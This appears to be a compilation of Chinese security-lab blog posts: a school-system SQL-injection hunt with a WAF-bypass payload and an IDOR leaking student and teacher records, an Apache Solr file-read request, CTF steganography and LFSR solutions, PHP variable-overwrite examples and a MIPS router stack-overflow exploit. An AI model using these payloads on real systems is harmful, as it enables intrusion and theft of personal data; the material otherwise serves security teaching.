Lower-SQL至系统沦陷
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
在一次edusrc挖掘中,发现了一个系统,对于学校来讲算是及其重要的一个系统,其中部署这大批量的教师+学生信息
同时这个功能点的验证码可以被绕过,拦截重放Intruder进行BP爆破,献上我的大字典并没有任何结果,阿巴阿巴....
爆破无法成功,尝试一波sql注入,照理来讲这种子域下重要的系统应该会有waf等一系列防护操作,即使这样还是需要试试。上来一个admin’ 发现报错。笃定大概率有sql,还是iis搭建的
尝试利用admin’ or ‘1’=’1 密码123456手法 来嗅探系统中是否存在密码为123456的用户,当我开心敲下空格,阿巴阿巴.... 有限制
尝试绕waf,发现当 or 两侧拥有空格时,or这个关键字会被waf拦截,当尝试使用/**/注释符来绕过时发现依旧会产生报错,或许可能是对于等于号进行了限制,利用LIKE尝试,依旧是提示检测到非法字符
从上文的报错可以知道是用的iis7.5搭建,mssql数据库,内敛注释仅被mysql解析,多次FUZZ发现是对于//注释符进行了过滤,那么就在//中任意添加字符串,这边还有前端长度限制,直接F12改maxlength值,同时此系统的应该是没有存在123456密码的用户。换种思路,能来证明其存在注入,让其报错 返回服务器版本信息。
Payload:whskxk'/!&/or/!&/convert(int,@@version)=1/!&/AND/!&/'1'LIKE'1
成功返回服务器版本信息
已经知道此类系统存在SQL 用fofa进行查找 进入其它系统来寻找后台漏洞,发现存在68个类似使用此系统的学校
发现一处可以进入的学校,打入payload 密码123456
当我们利用payload进入系统的时候,发现存在两个功能点,第一个是权限较低的用户,第二个是管理员用户,当点击此功能点的时候 会发现下面有一个地址携带敏感的工号(这个之前在两个功能点都进去之后,没有莫得特别严重的漏洞,回过头来摸索的时候发现的。挖洞讲究的是细心+耐心)
感觉有戏,打开无痕模式 复制此URL,同时将Userid的值修改成admin。
我德西玛 精神小伙,虎躯一震,揉揉眼睛。全校学生个人信息到手,教师的个人信息也同时到手。其家庭成员信息也到手,阿巴巴阿巴....
回想FOFA搜集到的资产+未授权访问....
EDUSRC冲分!!! GOGOGO!!!
涉及漏洞均已提交EDUSRC,同时涉及院校都已积极修复响应。遵守网络安全!共筑美好社会!
你想在靶场学习CTF技术吗?
【隐写】开局一张图,啥也看不出
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
最近遇到一个CTF题目,上面就一张图片是什么?啥都看不出来。今天来看一下CTF图片隐写题目,在图片里面隐藏一些不为人知的flag呢?
本次实验的地址为:《CTF Stegano练习之隐写6》。
首先来看题目。在实验主机上的C:\Stegano\6目录下提供了pic1.jpg以及pic2.jpg两个文件,请对这两文件进行分析,找到一个由两个英文单词组成的字符串Flag。
这两张图看起来都感觉都差不多全是黑白像素点,怎么去找flag呢?
这里有一个神器StegSolve,使用StegSolve提取Flag打开桌面上的StegSolve,然后选择菜单项“File”、“Open”打开pic1.jpg,然后选择菜单项“Analyse”、“Image Combiner”选择pic2.jpg文件,默认的XOR操作就可以看到Flag了,如图所示:
经过简单的分析,我们发现两个图片的尺寸都是300*300,而且文件大小都是71.6KB,所以就不可能存在某一个文件中隐藏了额外的数据的情况了。那么我们可以对两个文件进行结合分析,即将两个文件的像素RGB值进行XOR、ADD、SUB等操作,看看是否能看到有用的信息。而StegSolve可以十分方便的实现这些操作。
但是使用工具也有一点不好,就是工作的扩展性几乎为零,不能进行批量的自动化处理,而对于自己编写的脚本,自然可以十分方便的进行扩展,可以根据实际需求进行各种定制,并进行批量的自动化处理等。
对于这类题目强烈推荐使用Python的PIL库,脚本“C:\Stegano\6\xorImg.py”的源代码如下:
#!/usr/bin/env python
# -- coding:utf-8 --
from PIL import Image
def loadImage(filename):
img = Image.open(filename)
width, height = img.size
img = img.convert("RGB")
pixel = img.load()
return width, height, pixel
def combineImage(file1, file2, file3):
w1, h1, p1 = loadImage(file1)
w2, h2, p2 = loadImage(file2)
width = min(w1, w2)
height = min(h1, h2)
img = Image.new("RGB", (width, height))
pix = img.load()
for y in xrange(0, height):
for x in xrange(0, width):
r1, g1, b1 = p1[x, y]
r2, g2, b2 = p2[x, y]
pix[x, y] = r1^r2, g1^g2, b1^b2
img.save(file3)
if name == "main":
combineImage("pic1.jpg", "pic2.jpg", "pic3.jpg")
双击运行这个python脚本,就可以得到处理结果pic3.jpg,打开该图片就可以看到Flag字符串了,为AZADI TOWER。
脚本的代码比较简单,大致就是使用loadImage函数得到图片的长度、宽度、像素矩阵,然后在函数combineImage中对两个矩阵的像素点进行异或运算,并保存到第三张图片中。注意当两张图片的尺寸不一样的时候,我们进行了额外的处理,即只取最小的长度和宽度。
但是你这里只有XOR脚本,没有其他的。
下面继续来写一个通用的脚本,我们可以对该脚本进行修改,增加其可扩展的灵活性,通过定义一个运算函数实现通用的处理功能,比如我们可以定义xor、or、and三个操作的函数,就可以得到三个不同的处理结果了。脚本“C:\Stegano\6\combineImg.py”的源代码如下:
#!/usr/bin/env python
# -- coding:utf-8 --
from PIL import Image
def xorFun(x, y):
return x^y
def orFun(x, y):
return x|y
def andFun(x, y):
return x&y
def loadImage(filename):
img = Image.open(filename)
width, height = img.size
img = img.convert("RGB")
pixel = img.load()
return width, height, pixel
def combineImage(file1, file2, file3, func):
w1, h1, p1 = loadImage(file1)
w2, h2, p2 = loadImage(file2)
width = min(w1, w2)
height = min(h1, h2)
img = Image.new("RGB", (width, height))
pix = img.load()
for y in xrange(0, height):
for x in xrange(0, width):
r1, g1, b1 = p1[x, y]
r2, g2, b2 = p2[x, y]
pix[x, y] = func(r1,r2), func(g1,g2), func(b1,b2)
img.save(file3)
if name == "main":
combineImage("pic1.jpg", "pic2.jpg", "xor.jpg", xorFun)
combineImage("pic1.jpg", "pic2.jpg", "or.jpg", orFun)
combineImage("pic1.jpg", "pic2.jpg", "and.jpg", andFun)
这个题目不仅仅要会代码,重要的是从题目中找出隐写信息。因为题目有一定难度,才导致CTF比赛这么有竞争力。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Apache Solr最新任意文件读取漏洞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
漏洞简介
Apache Solr是一个开源搜索服务引擎,默认安装未授权情况下攻击者可以构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDde9d-11f0-4ac2-921f-b04f7e137c75 (Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的,提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。)
影响版本
solr任意版本
环境搭建
漏洞环境下载:
https://archive.apache.org/dist/lucene/solr/8.8.0/solr-8.8.0.tgz解压后进入bin目录,启动(需要java环境),
./solr start
此时启动的solr是没有核心进行索引和搜索的,创建一个节点(核心)
./solr create -c test
访问:http://ip:8983可以看到创建的核心
实际场景下可以看到会有很多核心
漏洞复现
启用远程流传输
访问http://ip:8983/solr/test/config/抓包,将请求包修改为POST请求,修改Content-Type为“application/json”,发送以下数据:
{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
即可开启远程流。
读取文件
引入远程流,将stream.url的参数的内容作为流传递。正常情况下stream.url传入的内容为“stream.url=http:/http://www.remotesite.com/path/to/file.pdf”,构造传入的敏感文件
POST /solr/test/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.74.139:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
stream.url=file:///etc/passwd
漏洞修复
(官方不承认这是漏洞.jpg)
因为solr默认安装情况下未授权,导致可以读取任意文件,启用Apache Solr身份验证可有效缓解该漏洞的影响
配置访问控制策略,避免Apache Solr暴露在互联网
参考
https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Stegano隐写-流量分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
CTF套路千千万,今天来看看流量分析。
本次实验题目地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214032100001。
先来看题,给定的secret文件没有扩展名,我们需要先弄清楚文件的具体格式信息,才好进行更进一步的分析操作,这里使用TrID工具来对其进行识别。打开cmd命令提示符,切换到C:\Stegano\5目录,使用TrID对secret进行识别,如图所示:
PCAP文件,这种类型的文件通常为网络通信流量抓包文件,可以使用Wireshark进行分析。我们给文件加上.pcap扩展名,然后使用Wireshark将其打开,就可以看到网络通信数据了,如图所示:
372条通信记录,算是很少很少的了,我们先看一下协议类型,除了TCP和UDP协议之外,更具体的协议大概有:TLS、ICMP、DNS、HTTP、FTP。我们可以对这几个协议的数据进行详细的分析,以FTP协议为例,选中一条FTP通信记录,然后单击右键,在菜单中选择“Follow TCP Stream”,我们看到的信息如图所示:
其中有一个hello.txt文件以及super_secret_message.png文件,这两个文件看起来比较可疑。
我们可以跟踪一下这两个文件的数据。因为FTP的控制命令和文件数据传输分开在两个不同的TCP连接中,因此我们还需要找到传输数据的TCP连接。经过实验步骤二的分析,我们知道通过FTP传送了hello.txt以及super_secret_message.png两个文件,现在我们需要将这两个文件的数据提取出来。
通过在Wireshark中对通信流量的分析,我们发现在包的序号为204的地方开始传送hello.txt的内容,在包的序号为312的地方开始传送super_secret_message.png的内容,如图所示:
因此我们可以在204以及312后面的数据包去找,以super_secret_message.png文件为例,我们发现序号为313的数据包的协议为FTP-DATA,选中该条记录之后,邮件选择“Follow TCP Stream”,显示方式选择“Raw”,然后选择“Save As”就可以保存这个PNG文件了,如下图所示:
打开PNG图片就可以看到Flag为flag{ThIs_Is_sO_1337},分析完毕。
老套路,还是隐写题,只是加了个流量分析,还要了解FTP协议,分析数据。找到突破口,合理的进行提取就可以事半功倍。
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF竞赛密码学之 LFSR
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
概述:
线性反馈移位寄存器(LFSR)归属于移位寄存器(FSR),除此之外还有非线性移位寄存器(NFSR)。移位寄存器是流密码产生密钥流的一个主要组成部分。
$GF(2)$上一个n级反馈移位寄存器由n个二元存储器与一个反馈函数$f(a_1,a_2,...,a_n)$组成,如下图所示。
移位寄存器的三要素:
初始状态:由用户确定
反馈函数:$f(a_1,a_2,...,a_n)$是n元布尔函数,即函数的自变量和因变量只取0和1这两个可能值
输出序列
如果反馈函数是线性的,那么我们称其为 LFSR,如下图所示:
LFSR的输出序列{ $a_n$ }满足:
$f(a_1,a_2,...,a_n) = c_1a_n⊕c_2a_{n-1}⊕...⊕c_na_1$
$a{n+1} = c_1a_n⊕c_2a{n-1}⊕...⊕c_na_1$
$a{n+2} = c_1a{n+1}⊕c_2a_n⊕...⊕c_na_2$
.....
$a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...)
举例:
下面是一个5级的线性反馈移位寄存器,其初始状态为$(a_1,a_2,...,a_n)= (1,0,0,1,1)$
反馈函数为:$a{5+i} = a{3+i}⊕a_i$,(i = 1,2,...)可以得到输出序列为:
1001101001000010101110110001111 100110…
周期为31。
对于 n 级线性反馈移位寄存器,最长周期为$2^n-1$(排除全零)。达到最长周期的序列一般称为 m 序列
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915454100001 (本实验主要介绍了CTFCrypto练习之替换密码,通过本实验的学习,你能够了解CTF竞赛中的密码学题型,掌握凯撒密码破解方法,学会基于频率的替换密码破解方法。)
解决LFSR问题
Part(1) 2018 强网杯 Streamgame1
考点:已知反馈函数,输出序列,求逆推出初始状态
题目:
from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") # 作用:判断字符串是否以指定字符 开头或结尾 assert len(flag)==25 def lfsr(R,mask): output = (R << 1) & 0xffffff #将R向左移动1位,bin(0xffffff)='0b111111111111111111111111' i=(R&mask)&0xffffff #按位与运算符&:参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0 lastbit=0 wh
考点:
def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 # R和mask进行异或操作,得到输出序列值 output^=lastbit #将输出值设置为output的最后一位 return (output,lastbit)
题目已知条件为 flag长度为19bits,mask长度也为19bits.
由LFSR的输出序列{ $a_n$ }满足的条件:
$a{n+i} = c_1a{n+i-1}⊕c_2a_{n+i-2}⊕...⊕c_na_i$(i = 1,2,3,...)
可知,输出值$a{n+i}$的结果与c的值相关,即题目中的mask。只有当c的值为1时,$c_1a{n+i-1},...,c_na_i$的值才可能为1
题目中mask中只有第(3,4,5,9,13,14,17,19)位为1,其余都是0(mask这里右边才是第一位,从右往左增大)
现在我们的目的就是为了求出前19位seed的值,而我们已知了seed后面输出序列的值(题目中给的附件key.txt)。那么我们逆推就能得到seed的值了。lfsr(R,mask)函数执行的是19bits的值。那么我们获取到输出序列前19bits值,即:
key = 0101010100111000111
现在需要计算$a{19}$的值,假设我们将 R = $a{19}010101010011100011$,进行lfsr(R,mask)运算,那么我们将得到输出值为 key[-1]=1。
因为mask中只有第(3,4,5,9,13,14,17,19)位为1,所以线性反馈函数只取这几位对应的a值
1=$a_{19}$^(R[-3])^(R[-4])^(R[-5])^(R[-9])^(R[-13])^(R[-14])^(R[-17])
得1=$a{19}$^0,得到$a{19}$=1
同理:R = $a{18}a{19}01010101001110001$ 的输出值为 key[-2]=1,求得$a_{18}$=1
第一种方法
#python3 from Crypto.Util.number import* f = open('key.txt','rb').read() r = bytes_to_long(f) bin_out = bin(r)[2:].zfill(12*8) R = bin_out[:19] #获取输出序列中与掩码msk长度相同的值 print(R) mask = '1010011000100011100' #顺序 c_n,c_n-1,。。。,c_1 key = '0101010100111000111' R = '' for i in range(19): output = 'x'+key[:18
第二种方法
seed值只可能是0和1构成,所以猜就行了。
from Crypto.Util.number import* import os,sys os.chdir(sys.path[0]) f = open('key.txt','rb').read() c = bytes_to_long(f) bin_out = bin(c)[2:].zfill(12*8) #将key文本内容转换为 2 进制数,每个字节占 8 位 R = bin_out[0:19] #取输出序列的前19位 mask = 0b1010011000100011100 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask
第三种方法
import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import * key = '0101010100111000111' mask = 0b1010011000100011100 R = "" index = 0 key = key[18] + key[:19] while index < 19: tmp = 0 for i in range(19): if mask >> i & 1: tmp ^= int(key[18 - i]) R += str(tmp) index += 1 key = key[18] + str
Part(1) 2018 强网杯 Streamgame2
考点:已知反馈函数,输出序列,求逆推出初始状态
题目
from flag import flag assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==27 def lfsr(R,mask): output = (R << 1) & 0xffffff i=(R&mask)&0xffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],2) mask=0x100002 f=open("key","
解法与 2018 强网杯 Streamgame1不能说是毫不相干,简直是一m0一样
from Crypto.Util.number import* bin_out = open('key.txt','rb').read() key = bin(bytes_to_long(bin_out))[2:] # print(key[0:21]) # print(bin(int('0x100002',16))) key = '101100101110100100001' mask= '100000000000000000010' R = '' for i in range(21): output = '?' + key[:20] ans = int(key[-1]) ^ int(outp
Part(3) [CISCN2018]oldstreamgame
考点:和前面的题目一样都是给出输出序列和反馈函数,求seed(初始状态)
题目:
flag = "flag{xxxxxxxxxxxxxxxx}" assert flag.startswith("flag{") assert flag.endswith("}") assert len(flag)==14 def lfsr(R,mask): output = (R << 1) & 0xffffffff i=(R&mask)&0xffffffff lastbit=0 while i!=0: lastbit^=(i&1) i=i>>1 output^=lastbit return (output,lastbit) R=int(flag[5:-1],16) mask = 0b1010
exp
#python3 import os,sys os.chdir(sys.path[0]) from Crypto.Util.number import* f = open('key.txt','rb').read() key = bytes_to_long(f) bin_out = bin(key)[2:].zfill(100*8) # print(bin_out[:32]) #前32位就是key key = '00100000111111011110111011111000' mask = '10100100000010000000100010010100' R = '' for i in
Part(4) [De1CTF2019]Babylfsr
考点:B-M 算法
题目给了度为256的lfsr,和输出长度为504的输出序列,并提示了FLAG的特征。
在CTFWiki中有介绍道 B-M 算法:如果我们知道了长度为 2n 的输出序列,那么就可以通过构造矩阵来求出 mask,时间复杂度:$O(n^2)$ 次比特操作,空间复杂度:$O(n)$ 比特。
题目:
import hashlib from secret import KEY,FLAG,MASK assert(FLAG=="de1ctf{"+hashlib.sha256(hex(KEY)[2:].rstrip('L')).hexdigest()+"}") assert(FLAG[7:11]=='1224') LENGTH = 256 assert(KEY.bit_length()==LENGTH) assert(MASK.bit_length()==LENGTH) def pad(m): pad_length = 8 - len(m) return pad_length*'0'+m clas
这题中输出序列只给出了504个值,根据 B-M 算法,我们需要确定512个值 (即长度为2n的序列,n为lfsr的度,这里是256) 才能求出 mask ,所以我们可以爆破序列后面缺失的 8 位,可以得到 256 种 mask 可能值,用这 256 个 mask 恢复出 256 个key 值,再用限制条件筛选出 flag.
#sage import hashlib key = '0010100101111010000011011011110100000011110110011011110110001000011000111110000100011001011101100110000011001110101111100000001110110001101111100011101110000101001100100111111000110101111011011010011100000101110111100101100100111011010100101001010111110110011110100000000
output:
flag{1224473d5e349dbf2946353444d727d8fa91da3275ed3ac0dedeb7e6a9ad8619}
上面是我关于LFSR学习的一点总结,希望对大家有所帮助,后面会介绍关于LFSR更多的知识点.
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
图片隐写及BinWalk识别隐藏数据
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
最近学习了图片隐写与音频隐写,这次来一个组合拳练习练习。
本次实验地址为https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121214025200001。
首先对内嵌文件数据分析打开stego4.jpg文件,图片里面显示了一段文字MUSTNOTHACK,其他似乎没有什么有用的信息。
我们用binwalk看一下执行python binwalk命令来对stego4.jpg文件进行处理,如图所示:
可以看到里面多了一个7-zip,这说明软件分析出来这个图片里面还有一个压缩包。那我们怎么提取出来呢?
从BinWalk的分析结果可以看出,J其中RAR压缩包的文件偏移地址开始与0x1B8DD,这里我们使用C32Asm将从0x1B8DD开始的所有数据提取出来。打开桌面上的C32Asm工具,选择“文件”、“打开十六进制文件”载入C:\Stegano\4\stego4.jpg文件,然后右键选择“定义选择块”,填入数据块的起始地址为0x1B8DD,结束地址选择“文件结尾”,单击确定就选中数据块了,右键复制数据,然后新建一个十六进制文件,将原有的数据替换为复制的数据,保存即可得到压缩包文件。操作过程如图所示:
这样就得到了一个RAR压缩包文件了。
这个压缩包里面解压出来的flag.7z居然需要密码,p3文件也被隐藏起来了,在cmd中通过dir /AH命令就可以看到,使用attrib -H DO_NOT_LOOKING_HERE.mp3命令去除MP3文件的隐藏属性,如下图所示:
播放MP3文件并不能听到什么有用的信息,我们尝试使用MP3Stego检查文件中使用隐藏了数据,使用MP3Stego的时候需要指定一个密码,这里使用原始图片中显示的MUSTNOTHACK字符串。打开cmd命令提示符,首先切换到C:\tools\MP3Stego\目录,然后执行命令MP3StegoDecode.exe -P MUSTNOTHACK -X C:\Stegano\4\stego\DO_NOT_LOOKING_HERE.mp3,如图所示:
之后我们提取出来一个txt文件,文件内容为INEVERASKEDABOUTTHIS!
把文本内容当成压缩密码输入,得到Flag为VERYEASYSTEGO,即题目要求我们所要寻找的字符串。
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
细说变量覆盖那些事
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
前言
最近在挖洞和看一些ctf题目中可以看到一些变量覆盖的知识点,之前对这个方面学习的有点不全面,虽然网上有这方面的文章,但是感觉讲的不是很全面,所以就决定写一篇文章来总结这方面的知识。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID3ec0-232d-4e11-8cb0-52a8620c51ee (通过该实验,详细了解PHP中变量覆盖漏洞相关的知识。如:$使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。)
漏洞原理
变量覆盖是指可以用自己的传参值代替程序原有的变量值。
漏洞寻找
例如下面的函数或者语法使用不当时就会出现漏洞。
$
extract()
parse_str()
import_request_variables()
mb_parse_str
register_globals
漏洞解析
这里先分析函数,再分析漏洞。
extract()
原理
extract()函数从数组中将变量导入到当前的符号表。
例如
<?php $a = "eeknight"; $my_array = array("a" => "C","b" => "T", "c" => "F"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c"; ?> 输出: $a = C; $b = T; $c = F
攻击手段
这里先举个例子
<?php $a="echo 'eeknight';"; echo $a; echo "\n"; eval($a); ?> 输出: echo 'eeknight'; eeknight
在上面双引号包裹了单引号,然后通过eval去利用他,就可以直接输出单引号里的东西了。
为什么要说这个东西,因为当你单引号里的东西可以被利用,是不是就可以写什么执行什么了。
怎么利用呢,这时候刚才介绍的extract就发挥作用了。
把上面的例子简单改一下
<?php $a="echo 'eeknight';"; extract($_GET); eval($a); ?>
$
原理
$产生的漏洞主要是因为foreach遍历数组的值,然后将获取的数组键名作为变量,数组中的值作为变量的值。
在这先简单介绍一下foreach和$。
foreach循环只适用于数组,并用于遍历数组中的每个键/值对。
<?php $colors = array("red","green","blue","yellow"); foreach ($colors as $value) { echo "$value \n"; } ?> 输出:red green blue yellow
$这里举个栗子
在PHP中,$var表示一个名为var的普通变量,它存储字符串、整数、浮点等任何值。而$var是一个引用变量,用于存储$var的值。
在我看来就是套娃。
<?php $var = "ee"; $var = "eeknight"; echo $var ; echo "\n"; echo $var; echo "\n"; echo "$ee"; ?> 输出:ee eeknight eeknight
parse_str()
parse_str()把查询字符串解析到变量中。
parse_str(string,array) string 必需。规定要解析的字符串。 array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。 <?php parse_str("name=eeknight&age=20"); echo $name."\n"; echo $age; ?> 输出:eeknight 20
攻击方式
通过上面的例子,可以想到,如果parse_str()括号是GET,PSOT等之类的,我们是不是就可以直接执行我们要的函数。
mb_parse_str
mb_parse_str— 解析 GET/POST/COOKIE 数据并设置全局变量
具体的用法和上面的parse_str()一样。
这里就不多说明了。
import_request_variables()
import_request_variables()函数将 GET/POST/Cookie 变量导入到全局作用域中。
<?php import_request_variables("gP", "ee_"); echo $ee_knight; ?>
攻击方式
只要利用了这个函数,就可以直接对里面的变量进行赋值。
register_globals
register_globals的意思就是注册为全局变量
当php.ini中register_globals=On时,传递过来的值会被直接注册为全局变量,当为off时,需要到特定的数组中去得到
例子
<?php echo "Register_globals: ".(int)ini_get("register_globals")."<br/>"; if ($auth){ echo "hello!"; } ?>
ON
OFF
这里ON-->OFF的转换时记得重启一下apache。
一些附加说明
为什么echo "\$a = $a; \$b = $b; \$c = $c";这里要加上\呢
解:这些斜杠的的意思就是,让后面的变量失去意义。那么写的是什么就是什么。
parse_str()
php.ini文件中的magic_quotes_gpc设置影响该函数的输出。如果已启用,那么在parse_str()解析之前,变量会被 addslashes() 转换。
import_request_variables()
该函数在最新版本的 PHP 中已经不支持。
支持的版本:PHP 4 >= 4.1.0, PHP 5 < 5.4.0。
register_globals
register_globals从php5.3.0起废弃,并从php5.4.0时移除。
漏洞防御
addslashes()
addslashes()在每个双引号(")前添加反斜杠。
使用原始变量,不进行变量注册;
验证变量存在,如果一定要进行变量注册,可以在注册变量前先判断变量是否存在。
Stegano 3个音频隐写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
进入实验地址https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID172.19.104.182014121211154100001。
先看第一类题查看频谱图使用Audacity打开sound1.wav文件。
用Audacity这个工具打开就是因为Audacity提供的强大的音频分析功能,包括波形图、频谱图等各种图形可视化效果。
Audacity默认显示的是音频文件左右两个声道的波形图,我们可以尝试切换到频谱图进行分析,操作步骤为:在Audacity中点击第一个声道的波形图左侧的文件名(这里为sound1),在弹出的菜单中选择“频谱图”,就可以切换到频谱图模式了,如图所示:
Get到flag一枚,神奇。
再来看题,使用Audacity打开sound2.wav文件,仔细听其中发出的声音,发现前面半段音频发出的声音很难挺清楚在说什么,而后面半段则可以清晰的听到一段英文发音。
听是不可能听出来的,这里音频可是被反向了,在Audacity中,选择“特效”、“反向”菜单项,然后播放反向之后的音频,如图所示:
处理之后,就可以清晰的听到声音the flag is high_level_encryption,这就是我们所要找的Flag字符串了。
还有一种。
继续看第三种使用Audacity打开sound3.wav文件,发现左右两个声道的波形图完全不一样,其中第一个波形图只在时间轴的中间部分存在一些有规律的小点,而第二个波形图则是正常的声音波形图,如下图所示:
按下键盘左下角的Ctrl按键,同时滚动鼠标滚轮,对波形图进行放大操作,其中第一个波形图放大后如图所示:
这种就是摩尔斯电码,这里考的也是摩尔斯电码,其中较短的波形表示点“.”,而较长的波形则表示横线“-”,而间隔较远的两个波形图则认为是两个不同的摩斯码。因此,第一个声道的波形图可以表示为:..... -... -.-. ----. ..--- ..... -.... ....- ----. -.-. -... ----- .---- ---.. ---.. ..-. ..... ..--- . -.... .---- --... -.. --... ----- ----. ..--- ----. .---- ----. .---- -.-.
使用JPK进行解码,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串5BC925649CB0188F52E617D70929191C,如图所示:
注意摩斯码不区分大小写,JPK默认转换为大写形式,所以如果得到的字符串提交不正确,可以尝试转换为小写形式提交。
这道题有3个问题,每一个都要仔细才能得出答案。和上次的隐写题一样,利用工具分析音频,再输入摩斯码就可以得出答案了。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
从DVRF靶机学习固件安全
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
DVRF 项目介绍
该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有,请不要担心!可以用 qemu 模拟。
项目地址:https://github.com/praetorian-inc/DVRF
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDd6d0-f3ad-47c1-9d14-8a29aecc8b4e (通过本次实验学习如何在固件被加密的情况下进行解密,使得固件层面的路由器安全研究顺利进行。)
模拟环境
主要是用 ubuntu 16 ,如果部分题目用 qemu-user 模拟不了,就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址,问题不大只是查询方法饶了一点,还是可以解决的。
ubuntu 16.04
pwndbg
Qemu-static(version 2.11.1)
gdb-multiarch
attify 3.0
下载地址:https://github.com/adi0x90/attifyos
stack_bof_01
获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950 :
Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见:
直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。
其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分:
调试方法
需要打开几个 terminal 启动不同的命令:
启动 qemu 模拟
-strace 查看 qemu 调试信息,方便观察执行了什么命令
qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
gdb-multiarch
gdb-multiarch ./pwnable/Intro/stack_bof_01 set architecture mips set endian little target remote :1234
连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。
EXP
字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数
# file_name: stack_bof_01.py from pwn import * context.binary = "./pwnable/Intro/stack_bof_01" context.arch = "mips" context.endian = "little" backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4 payload += p32(backdoor) with open("stack_bof_01_payload","w") as file: file.write(payload)
命令行执行:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"
stack_bof_02
和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy :
main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址
直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断(只有不包含截断符指令都行),尝试后无果。
查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。
